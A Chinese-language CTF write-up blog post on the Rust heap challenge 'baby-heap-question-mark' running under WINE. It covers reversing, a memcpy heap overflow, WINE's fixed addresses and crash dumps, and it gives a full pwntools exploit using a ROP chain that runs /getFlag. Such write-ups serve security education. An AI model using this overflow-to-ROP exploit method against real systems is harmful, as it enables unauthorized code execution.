真的好久好久都没写过博客了,感觉还是得是不是用博客这个形式来记录一些重要的信息
baby-heap-question-mark
这个题目虽然是一个Rust Pwn,但是感觉本质上和另一个Rust Pwn差的还是很远的。(如果我能把另一个做出来的话,就也更新上来)
程序逆向
其实Rust的逆向一半的内容得靠猜,因为存在变量复用的现象,下文会提到这点。
首先运行exe,可以看到是一个很经典的堆题:
1 2 3 4 5 6 7
| Storage: [] 1. allocate 2. drop 3. read 4. write 5. quit choice?
|
每当我们多申请一个堆的时候,Storage这里的显示就会发生变化:
1 2 3 4 5 6 7
| Storage: [*] 1. allocate 2. drop 3. read 4. write 5. quit choice?
|
不难想象,这里应该有一个内部的数据结构用于存储分配的内存。
当我们释放一个内存对象的时候,它会变成这样:
1 2 3 4 5 6 7
| Storage: [.] 1. allocate 2. drop 3. read 4. write 5. quit choice?
|
其他的操作就和普通的堆题差不多了。
了解运行逻辑之后,直接进行逆向。代码里面有多个类似vec的结构体,大概长这样
1 2 3 4 5 6
| struct my_raw_vec { int64 target_size; char *ptr_buffer; int64 buf_cnt; };
|
在allocate
这个操作中,分配内存操作如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| do { if ( total_raw_vec.capacity == now_total_size ) { if ( read_size_ ) { new_element = malloc_new_elemn((__int64)read_size_, 1i64); if ( !new_element ) raise_msg(); capacity_1 = total_raw_vec.capacity; if ( total_raw_vec.capacity != total_raw_vec.buffer_end ) goto LABEL_52; LABEL_51: extend_mem(&total_raw_vec, capacity_1); capacity_1 = total_raw_vec.capacity; } else { new_element = 1i64; if ( total_raw_vec.capacity == total_raw_vec.buffer_end ) goto LABEL_51; } LABEL_52: raw_vec_1 = total_raw_vec.ptr_buffer; capacity_idx = capacity_1; total_raw_vec.ptr_buffer[capacity_idx].target_size = (__int64)read_size_; raw_vec_1[capacity_idx].ptr_buffer = (char *)new_element; raw_vec_1[capacity_idx].buf_cnt = read_size_; ++total_raw_vec.capacity; goto LABEL_2; } now_total_size_ = now_total_size * 24 + 24; } while ( total_raw_vec.ptr_buffer[now_total_size++].ptr_buffer != 0i64 );
|
其实它的allocate有两种模式,这边我们挑一种来讲(漏洞会涉及)。这里会提到一个大小为24字节的结构体就是前文讲的struct my_raw_vec
。
首先最外围的大循环的逻辑,加上 total_raw_vec.capacity == now_total_size
逻辑,结合起来其实就是检查这个total_raw_vec
,其中是否存在一个空的指针。如果不存在的话(也就是我们只有allocate操作,没有drop过),此时会先申请一个用于存放我们数据的堆块element,再扩张vector。并且之后将这个新的element
存放在新扩展出来的出来的total_raw_vec
中。
如果我们大致用伪代码描述以下,大概是如下的逻辑:
1 2 3 4 5 6
| Elem* e = new Element();
vector.extend(1);
vector[new_idx] = e;
|
漏洞点
这个程序其实最大的问题在于逆向,当逆向完成了一个操作之后,其他的逻辑基本上也就完成了。这里我们直接介绍漏洞操作,也就是write
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| write_read(&read_data, (__int64)"data? size? \n", 6i64); buffer = read_data.ptr_buffer; now_ptr_1 = check_utf8_valid(read_data.ptr_buffer, read_data.buf_cnt); if ( (v19 & 1) != 0 ) { v46 = 1i64; goto LABEL_68; } my_data_num.flag = 3; IOStruct.my_vec.elem_idx = 0i64; IOStruct.my_vec.now_ptr = (__int64)now_ptr_1; IOStruct.my_vec.capacity_ = v19; IOStruct.my_vec.now_size = 2i64; IOStruct.my_data_num = &my_data_num; get_input_data((my_raw_vec *)(&v47 + 14), &IOStruct);
|
Rust编译的时候,有时候会将一些可见字符拼接再一起。如上,他这边的翻译极具误导性,会给人一种write
操作会读入数据,并且需要我们指定大小的错觉。然而实际上,这个题的write
只需要我们输入数据。并且这个题目输入的数据是需要被反序列化的。举个例子,当我们输入:
此时写入到我们指定内存的其实是\x01\x01
,而不是字符串。因此此时输入的长度一定要是偶数。
回到逻辑,上述代码主要就是将我们输入的数据读入一个叫做read_data
的临时变量,并且通过调用check_utf8_valid
确认其是否合法,同时返回了一个指向有效字符串起始地址的指针。并且在最后使用get_input_data
将我们的输入读入了一个地址。这个地址的变量我们之后命名为dst
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| target_size = dst.target_size; ptr_buffer_1 = dst.ptr_buffer; cnt = dst.buf_cnt; if ( read_data.target_size ) j_free_last_ptr(buffer, read_data.target_size, read_data.target_size >= 0); v50 = HIDWORD(target_size); if ( idx < total_raw_vec.capacity ) { target_buffer = total_raw_vec.ptr_buffer[idx].ptr_buffer; if ( target_buffer ) memcpy(target_buffer, ptr_buffer_1, cnt); } if ( target_size ) j_free_last_ptr(ptr_buffer_1, target_size, target_size >= 0); break;
|
接下来的漏洞利用部分就很简单了,首先我们可以看到,这个地方调用了memcpy
,而这边的cnt
来自于dst
,dst
本质上也是一个向量,而且其就是前文提到的用来存放读入数据的一个变量。也就是说,上述逻辑翻译一下就是:将输入的字符串全部拷贝到目标内存。那这就有了一个妥妥的堆溢出了。
利用
WINE的一些基础知识
这个点也是队友给我科普的,首先WINE全程可以是Wine Is Not an Emulator
(乐),本质上是让exe能够在Unix操作系统上运行的一个环境。注意,它不是虚拟机,所以并不具备虚拟机的一些基本特性。
不变的基地址
除了msvcrt.dll
之外,所有的模块,包括堆和栈,都没有开ASLR。所以一旦确认了远程地址的这些偏移,可以直接用起来。(注意,包括exe在ida里面显示的地址,都是不变的)
模拟的PE头
如果存在一些检测PE头的逻辑,是可以通过的。虽然这些dll之类的本质是.so
,但是构建的时候,会预先额外构建一个PE头。
调试
理论上也是可以直接调试的。运行指令为 wine simple_server_target.exe
,然后再用gdb attach
到对应的进程即可。
奔溃现场
WINE程序有一个特别之处就是,如果我们让程序奔溃了,它会打印当前的上下文出来。例如
一些技巧
有一个叫做VIRTUAL_SetForceExec
的存在ntdll.dll.so
的函数,可以让所有可写的映射变成可执行!这样会让利用更加简单。
可以通过调用NtSetInformationProcess
函数来控制,也可以从这个函数处找到这个SetForceExec
的地址
根据上面的小tips,我们可以得知对于本题的一个重要的提示:除了msvcrt.dll.so
,所有的地址都是固定的。换句话说,假设我们能够拥有一个内存越界读,只要能泄露一次地址,之后的地址就可以反复的使用它。然后,WINE这个程序还有一个特征,当这个程序奔溃的时候,会打印这个程序的上下文!这样很多的地址其实在dump的时候就能够确定了。
回到这个题目,目前为止内存格式如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| +---------------+<-----------------+ | | | | Data | | | | | | | | | | | | | | | | | +---------------+ | | | +---------------+ | | | | +---------------+ | | Target_buffer +------------------+ +---------------+ | | +---------------+
|
那么此时我们就可以通过将target_ptr
覆盖成无效地址,并且再次访问这段内存对应的data,从而诱发crash
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| +---------------+ | | | Data | | | | | | | | | | | | | | | | | +---------------+ | | +---------------+ |ffffffffffffff +------------------++++++++++++ +---------------+ | | +---------------+
|
通过简单的内存布局后,这边是我们修改内存地址之后尝试访问触发的crash:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| Unhandled exception: page fault on write access to 0xffffffffffffffff in 64-bit code (0x00000003af6cfcd9 ). Register dump: rip:00000003af6cfcd9 rsp:000000000021fa98 rbp:000000000021fb60 eflags:00010a07 ( R- --O I - -P-C) rax:0000000000015790 rbx:0000000000000000 rcx:ffffffffffffffff rdx:00000000000158a0 rsi:00000000000158a0 rdi:ffffffffffffffff r8:0000000000000040 r9:7fffffffffffffff r10:000000000012000 0 r11:0000000000015898 r12:000000000021fb90 r13:00000001400214c5 r14:0000000000000040 r15:000000000021fb5 0 Stack dump: 0x000000000021fa98: 0000000000000040 0000000000015800 0x000000000021faa8: 00000003af6d5749 000000000021fb90 0x000000000021fab8: 00000001400214c5 0000000140001eb8 0x000000000021fac8: 000000000021fb50 000000000021fb60 0x000000000021fad8: 000000014000190d 0000000000014e70 0x000000000021fae8: 0000000000014430 0000000000000004 0x000000000021faf8: 0000000140004e4a 00000000000152b8 0x000000000021fb08: 000000007bc2aa8d 0000000000000003 0x000000000021fb18: 0000000000000018 0000000000015760 0x000000000021fb28: 0000000000000000 0000000000000082 0x000000000021fb38: 0000000000015800 0000000000000082 0x000000000021fb48: 00000000000158a0 0000000000000040 Backtrace: =>0 0x00000003af6cfcd9 EntryPoint+0x2fffe3739() in ucrtbase (0x000000000021fb60) 0x00000003af6cfcd9 EntryPoint+0x2fffe3739 in ucrtbase: movsb (%rsi),%es:(%rdi) Modules: Module Address Debug info Name (20 modules) PE 7b000000- 7b3fd000 Deferred kernelbase PE 7b600000- 7b969000 Deferred kernel32 PE 7bc00000- 7bf3c000 Deferred ntdll ELF 7d000000- 7d005000 Deferred <wine-loader> PE 140000000- 14002f000 Deferred baby-heap-question-mark PE 262250000- 262260000 Deferred api-ms-win-crt-runtime-l1-1-0 PE 26ed50000- 26ed69000 Deferred vcruntime140 PE 30a2c0000- 30a2d0000 Deferred api-ms-win-crt-stdio-l1-1-0 PE 355100000- 35510f000 Deferred api-ms-win-crt-locale-l1-1-0 PE 360a80000- 360a91000 Deferred api-ms-win-crt-math-l1-1-0 PE 39b510000- 39b51f000 Deferred api-ms-win-crt-heap-l1-1-0 PE 3af670000- 3af9dd000 Dwarf ucrtbase ELF 7f00eb2ec000- 7f00eb30a000 Deferred ucrtbase.so ELF 7f00eb60a000- 7f00eb780000 Dwarf libwine.so.1 ELF 7f00eb980000- 7f00eb9ab000 Deferred liblzma.so.5 ELF 7f00eb9ab000- 7f00eba92000 Deferred libm.so.6 ELF 7f00eba92000- 7f00ebaad000 Deferred libunwind.so.8 ELF 7f00ebaad000- 7f00ebb49000 Deferred ntdll.so
|
注意,测试的时候使用的地址一定要是0xffffffffffffffff,之前使用0xaaaaaaaaaaaaaaaa居然是有效地址,不会导致崩溃。。。
由于这个target_ptr
可以被修改成任何值,我们就相当于有了一个WWW
,也就是write-what-where
。
之后漏洞利用就很简单了,由于这个程序几乎等于没有开ASLR,于是我们可以利用dump数据,直接算出程序返回值地址。然后通过修改target_ptr
指向栈尾部,然后就能直接塞ROP的指令进去了。
然而,一开始我们直接使用溢出攻击的时候,程序会直接崩溃在调用quit指令的时候,原因是我们这边溢出会修改堆的头部,而quit的时候会调用free,所以此时释放堆会发生错误。此时我们可以直接通过gdb调试,把被覆盖的数据抠出来,然后再payload钟直接按照原样写入对应位置。最后可以写出如下的exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90
| from pwn import * from binascii import hexlify
context.clear(arch='amd64', os='windows', log_level='debug')
r = process(['docker', 'run', '--privileged', '--rm' ,'-i', 'my_image']) """ PE 7b000000- 7b3fd000 Deferred kernelbase PE 7b600000- 7b969000 Dwarf kernel32 PE 7bc00000- 7bf3c000 Dwarf ntdll ELF 7d000000- 7d005000 Deferred <wine-loader> PE 140000000- 14002f000 Export baby-heap-question-mark PE 262250000- 262260000 Deferred api-ms-win-crt-runtime-l1-1-0 PE 26ed50000- 26ed69000 Deferred vcruntime140 PE 30a2c0000- 30a2d0000 Deferred api-ms-win-crt-stdio-l1-1-0 PE 355100000- 35510f000 Deferred api-ms-win-crt-locale-l1-1-0 PE 360a80000- 360a91000 Deferred api-ms-win-crt-math-l1-1-0 PE 39b510000- 39b51f000 Deferred api-ms-win-crt-heap-l1-1-0 PE 3af670000- 3af9dd000 Deferred ucrtbase ELF 7f26a0026000- 7f26a0046000 Deferred libgcc_s.so.1 ELF 7f26a004b000- 7f26a0069000 Deferred ucrtbase.so ELF 7f26a0369000- 7f26a04df000 Dwarf libwine.so.1 ELF 7f26a06df000- 7f26a070a000 Deferred liblzma.so.5 ELF 7f26a070a000- 7f26a07f1000 Deferred libm.so.6 ELF 7f26a07f1000- 7f26a080c000 Deferred libunwind.so.8 ELF 7f26a080c000- 7f26a08a8000 Deferred ntdll.so ELF 7f26a08ab000- 7f26a0ad3000 Deferred libc.so.6 ELF 7f26a0ada000- 7f26a0b16000 Deferred ld-linux-x86-64.so.2 """
def allocate(size): r.sendlineafter("choice?","1") r.sendlineafter("size?",str(size))
def drop(index): r.sendlineafter("choice?","2") r.sendlineafter("index?",str(index))
def read(index): r.sendlineafter("choice?","3") r.sendlineafter("index?",str(index))
def write(index,data): r.sendlineafter("choice?","4") r.sendlineafter("index?",str(index)) r.sendlineafter("data?",hexlify(data))
for i in range(9): allocate(24)
pause() stack = 0x21fc08 payload = b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00F\x008\x00E\x009\x00C\x004\x004\x00D\x00\x88\x01\x00\x00USE\x08' print(payload) rop_payload = payload + p64(0x18) rop_payload += p64(stack) write(8,rop_payload)
pop_rax = p64(0x0000000140008874) pop_rdi = p64(0x000000014000222c) pop_rsi = p64(0x00000003af68655a) pop_rdx = p64(0x00000003af6b3fa9) syscall = p64(0x00000003af67bb76)
addr = 0x0
rop_payload = b'' rop_payload += pop_rsi rop_payload += p64(0) rop_payload += pop_rdx rop_payload += p64(0) rop_payload += pop_rax rop_payload += p64(59) rop_payload += pop_rdi rop_payload += p64(stack+9*8) rop_payload += syscall rop_payload += b'/getFlag\0' write(0,rop_payload)
r.interactive()
|
一些碎碎念
这个题本质上我觉得是一个纯的二进制题。这个题其实从侧面突出了这几年pwn的一个做题趋势,就是【不去完全看懂程序逻辑,而是着重于漏洞发现】。举个我逆向中的例子,这个程序有一段拷贝数据的逻辑:
直接看逻辑会有一点莫名其妙:因为在上面的IOStruct
中,对应的向量的变量成员和赋值对应的内容可以说是完全无关,而在后面的逻辑中,这些成员又变得合理。这其实是一种变量复用的现象。假设存在如下代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| int func() { int a = 1; puts("input number a"); scanf("%d",a); a += 1; printf("a is %d", a);
int b = 2; puts("input number b"); scanf("%d",b); b += 3; printf("b is %d" ,b); }
|
对于上述代码,a在代码后方完全没出现过,b也完全没有在前方出现过。此时对于编译器来说,他就有一种选项,也就是让a和b公用一段内存空间
。然而此时对于尝试逆向的人来说,就会无法区分这两个变量到底是不是同一个变量。更有甚者,可能会有如下的现象:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| struct Large{ int a; int b; };
struct Small{ char c; }; int func2() { struct Big g; g.a = 1; g.b = 2; struct Small s; s.c = 'a'; }
|
上面列出了两个大小不同的结构体,并且同时存在栈上。这种时候,某些编译器甚至会再g的逻辑后,将g的一部分内存直接用于存放s的内容。这种内存覆盖就会对代码的分析造成极大的困惑。
而前阵子和其他队友做题的时候,我也发现,最近的pwn题做起来更像是【先用fuzz等技巧先发现了漏洞,再顺着漏洞往下探索】,很多时候似乎做题的人也没有搞懂逻辑,但是他们就是能把题目做出来,这可能是现代CTF比赛中,pwn题的一种必然趋势吧。
说起来,最近沉迷于探索一些真实漏洞,感觉是不是也可以参照这种思路来思考呢。。?